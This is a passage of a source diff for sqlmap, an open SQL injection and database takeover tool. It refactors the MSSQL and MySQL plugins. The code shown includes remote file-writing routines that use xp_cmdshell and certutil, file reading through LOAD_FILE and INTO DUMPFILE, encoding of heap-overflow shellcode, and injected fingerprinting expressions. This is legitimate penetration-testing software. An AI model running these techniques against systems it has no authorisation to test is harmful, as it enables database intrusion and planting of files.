-369,54 +373,54 @@ def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, file self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) - logger.debug("decoding the file to %s.." % dFile) + logger.debug("decoding the file to %s.." % remoteFile) commands = ( "cd \"%s\"" % tmpPath, - "certutil -f -decode %s %s" % (randFile, dFile), + "certutil -f -decode %s %s" % (randFile, remoteFile), "del /F /Q %s" % randFile ) self.execCmd(" & ".join(command for command in commands)) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() - self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) - dFile = posixToNtSlashes(dFile) - with open(wFile, "rb") as f: - wFileContent = f.read() + remoteFile = posixToNtSlashes(remoteFile) + + checkFile(localFile) + localFileContent = open(localFile, "rb").read() - self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " if readInput(message, default='Y', boolean=True): - self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): - self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): - self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) return written diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 065e3bd25ec..18b4b0beb64 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -82,24 +82,30 @@ def checkDbms(self): if conf.direct: result = True else: - result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") + result = inject.checkBooleanExpression("IS_SRVROLEMEMBER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in ( - ("2000", "HOST_NAME()=HOST_NAME()"), - ("2005", "XACT_STATE()=XACT_STATE()"), - ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), + ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), + ("2017", "TRIM(NULL) IS NULL"), + ("2016", "ISJSON(NULL) IS NULL"), + ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), - ("2014", "CHARINDEX('12.0.2000',@@version)>0"), - ("2016", "ISJSON(NULL) IS NULL") + ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("2005", "XACT_STATE()=XACT_STATE()"), + ("2000", "HOST_NAME()=HOST_NAME()"), ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) + break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) @@ -113,7 +119,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -146,7 +152,8 @@ def checkDbmsOs(self, detailed=False): "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), - "8.1 or 2012 R2": ("6.3", (0,)) + "8.1 or 2012 R2": ("6.3", (0,)), + "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) } # Get back-end DBMS underlying operating system version @@ -167,7 +174,7 @@ def checkDbmsOs(self, detailed=False): warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) - logger.warn(warnMsg) + logger.warning(warnMsg) self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index e93427e6330..183ce9462c9 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True """ def escaper(value): - return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "NCHAR", ord(value[i])) for i in xrange(len(value))) + return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "NCHAR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 0377c4d376d..53c1b078720 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,13 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import Backend +from lib.core.compat import xrange +from lib.core.convert import getBytes from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject @@ -66,7 +68,7 @@ def spHeapOverflow(self): raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" - hexStr = binascii.hexlify(self.shellcodeString[:-1]) + hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1])) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 2d267553831..21e2f4550b0 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -29,11 +29,7 @@ def __init__(self): "sys_bineval": {"return": "int"} } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index b40f7665f70..459ff23d5bc 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import logging import struct +import sys from lib.core.common import getSafeExString from lib.core.data import conf @@ -21,23 +22,19 @@ class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/pymysql/ - User guide: http://code.google.com/p/pymysql/ - API: http://code.google.com/p/pymysql/ - Debian package: <none> + Homepage: https://github.com/PyMySQL/PyMySQL + User guide: https://pymysql.readthedocs.io/en/latest/ + Debian package: python3-pymysql License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: - self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) + self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password.encode(sys.stdin.encoding), db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index c375e891ef2..129b1e6106a 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) + pass diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 07950d91cb8..acde3cc35c9 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -29,33 +30,32 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def nonStackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) - debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile + debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) - inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " - debugMsg += "'%s' into support table" % rFile + debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) @@ -63,12 +63,13 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " - warnMsg += "file '%s'" % rFile + warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - warnMsg += ", going to fall-back to simpler UNION technique" - logger.warn(warnMsg) - result = self.nonStackedReadFile(rFile) + if not kb.bruteMode: + warnMsg += ", going to fall-back to simpler UNION technique" + logger.warning(warnMsg) + result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) else: @@ -87,26 +88,26 @@ def stackedReadFile(self, rFile): return result @stackedmethod - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: - warnMsg = "the injection is on a GET parameter and the file " + warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE - sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() @@ -114,12 +115,12 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) @@ -128,12 +129,12 @@ def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) - query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) @@ -142,9 +143,9 @@ def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) @@ -152,7 +153,7 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", False) + fcEncodedList = self.fileEncode(localFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" @@ -167,10 +168,10 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e6b69397a70..1876779edef 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,15 @@ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms @@ -35,63 +37,84 @@ def _commentCheck(self): if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return None # Reference: https://downloads.mysql.com/archives/community/ + # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/ + versions = ( - (32200, 32235), # MySQL 3.22 - (32300, 32359), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40131), # MySQL 4.1 - (50000, 50096), # MySQL 5.0 - (50100, 50172), # MySQL 5.1 - (50400, 50404), # MySQL 5.4 - (50500, 50564), # MySQL 5.5 - (50600, 50644), # MySQL 5.6 - (50700, 50726), # MySQL 5.7 + (90300, 90302), # MySQL 9.3 + (90200, 90202), # MySQL 9.2 + (90100, 90102), # MySQL 9.1 + (90000, 90002), # MySQL 9.0 + (80400, 80406), # MySQL 8.4 + (80300, 80302), # MySQL 8.3 + (80200, 80202), # MySQL 8.2 + (80100, 80102), # MySQL 8.1 + (80000, 80043), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (80000, 80015), # MySQL 8.0 + (50700, 50745), # MySQL 5.7 + (50600, 50652), # MySQL 5.6 + (50500, 50563), # MySQL 5.5 + (50400, 50404), # MySQL 5.4 + (50100, 50174), # MySQL 5.1 + (50000, 50097), # MySQL 5.0 + (40100, 40131), # MySQL 4.1 + (40000, 40032), # MySQL 4.0 + (32300, 32359), # MySQL 3.23 + (32200, 32235), # MySQL 3.22 ) - index = -1 - for i in xrange(len(versions)): - element = versions[i] - version = element[0] - version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + found = False + for candidate in versions: + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) - if result: + if not result: + found = True break - else: - index += 1 - - if index >= 0: - prevVer = None - for version in xrange(versions[index][0], versions[index][1] + 1): + if found: + for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) - if result: - if not prevVer: - prevVer = version - + if not result: if version[0] == "3": - midVer = prevVer[1:3] + midVer = version[1:3] else: - midVer = prevVer[2] + midVer = version[2] - trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + trueVer = "%s.%s.%s" % (version[0], midVer, version[3:]) return trueVer - prevVer = version - return None def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): + fork = FORK.MARIADB + elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): + fork = FORK.TIDB + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"): + fork = FORK.DRIZZLE + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): + fork = FORK.PERCONA + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Doris%'"): + fork = FORK.DORIS + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): + fork = FORK.STARROCKS + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -107,12 +130,10 @@ def getFingerprint(self): value += "back-end DBMS: " actVer = Format.getDbms() - _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) - if _: - actVer += " (%s fork)" % _ - if not conf.extensiveFp: value += actVer + if fork: + value += " (%s fork)" % fork return value comVer = self._commentCheck() @@ -126,17 +147,21 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if banVer and re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if banVer and re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -153,9 +178,8 @@ def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) - if Backend.isVersionGreaterOrEqualThan("5"): + if Backend.isVersionGreaterOrEqualThan("5") or inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.data.has_information_schema = True - self.getBanner() return True @@ -163,36 +187,46 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") + result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") + result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") + + if not result: + # Note: MemSQL doesn't support SESSION_USER() + result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") + + if result: + hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False - if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") - # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 + kb.data.has_information_schema = True + + # Determine if it is MySQL >= 9.0.0 + if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + Backend.setVersion(">= 9.0.0") + setDbms("%s 9" % DBMS.MYSQL) + self.getBanner() + # Determine if it is MySQL >= 8.0.0 - if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): - kb.data.has_information_schema = True + elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 5.0.0 elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): - kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() @@ -252,6 +286,8 @@ def checkDbms(self): setDbms("%s 4" % DBMS.MYSQL) self.getBanner() + kb.data.has_information_schema = False + if not conf.extensiveFp: return True @@ -274,10 +310,12 @@ def checkDbms(self): setDbms("%s 3" % DBMS.MYSQL) self.getBanner() + kb.data.has_information_schema = False + return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index b2ad286a96d..fefe4d88b1a 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,32 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii -from lib.core.convert import utf8encode +from lib.core.convert import getBytes +from lib.core.convert import getOrds +from lib.core.convert import getUnicode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT 0x6162636465666768 FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 0x6162636465666768 FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CONVERT(0x61626364c3ab666768 USING utf8) FROM foobar" + True """ def escaper(value): - retVal = None - try: - retVal = "0x%s" % binascii.hexlify(value) - except UnicodeEncodeError: - retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) - return retVal + if all(_ < 128 for _ in getOrds(value)): + return "0x%s" % getUnicode(binascii.hexlify(getBytes(value))) + else: + return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8"))) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index a66d1231322..81851506412 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,6 +16,7 @@ from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import unArrayizeValue +from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -37,13 +38,13 @@ def udfSetRemotePath(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "5.0.67": + if banVer and LooseVersion(banVer) >= LooseVersion("5.0.67"): if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if self.__plugindir is None and banVer >= "5.1.19": + if self.__plugindir is None and LooseVersion(banVer) >= LooseVersion("5.1.19"): logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index fd2c5f5afb8..cedb15250e4 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def 